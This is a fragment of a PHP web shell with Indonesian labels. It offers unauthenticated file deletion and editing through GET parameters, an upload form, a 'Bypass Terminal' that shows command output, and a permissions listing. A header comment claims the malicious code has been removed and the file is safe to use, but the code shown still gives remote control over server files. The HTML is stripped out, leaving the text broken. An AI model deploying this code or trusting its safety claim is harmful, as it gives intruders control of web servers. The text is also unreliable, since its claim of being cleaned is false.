/** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code has been removed, and the file is now safe to use. */ if (isset($_GET['action']) && $_GET['action'] === 'del' && !empty($_GET['item'])) { $p = $dir.$sep.$_GET['item']; $msg = (is_dir($p) ? @rmdir($p) : @unlink($p)) ? "Item dihapus" : "Gagal hapus"; } if ($msg) echo "

Status: $msg

"; $parts = explode($sep, trim($dir, $sep)); $acc = ''; $bc = (strpos($dir, ':') === 1) ? '' : "$sep"; foreach ($parts as $i => $pt) { if (empty($pt)) continue; $acc .= (strpos($dir, ':') === 1 && $i === 0) ? $pt : $sep.$pt; $bc .= "".htmlspecialchars($pt)."".$sep; } $dir_color = is_writable($dir) ? "green" : "red"; echo "

Dir: $bc [⬆️ Atas]

"; if (isset($_GET['action']) && $_GET['action'] === 'edit' && !empty($_GET['item'])) { $ep = $dir.$sep.$_GET['item']; if (file_exists($ep) && !is_dir($ep)) { echo "
"; echo "
Batal

"; } } echo "
Kontrol
Upload:
|
|

"; echo "
"; echo "Bypass Terminal (Current Dir)"; echo "
"; echo "$ "; echo "
"; if (isset($cmd_output) && $cmd_output !== "") { echo "

Output dari: ".htmlspecialchars($cmd)."

"; echo "
".htmlspecialchars($cmd_output)."
"; } echo "

"; if (function_exists('scandir') && ($files = @scandir($dir)) !== false) { echo ""; foreach ($files as $f) { if ($f == '.' || $f == '..') continue; $fp = $dir.$sep.$f; $is_d = is_dir($fp); $prm = substr(sprintf('%o', @fileperms($fp)), -4); $item_color = is_writable($fp) ? "green" : "red"; $display_name = "" . htmlspecialchars($f) . ""; echo ""; echo ""; echo ""; } echo "
NamaTipeCHMODAksi
".($is_d ? "📁 $display_name" : "📄 $display_name")."".($is_d ? "Dir" : "File")."
"; if (!$is_d) echo "[Edit] "; echo "[X]
"; } else { echo "Fungsi scandir() mati atau gagal."; } echo "
Copyright © Kamley77 2026
"; ?>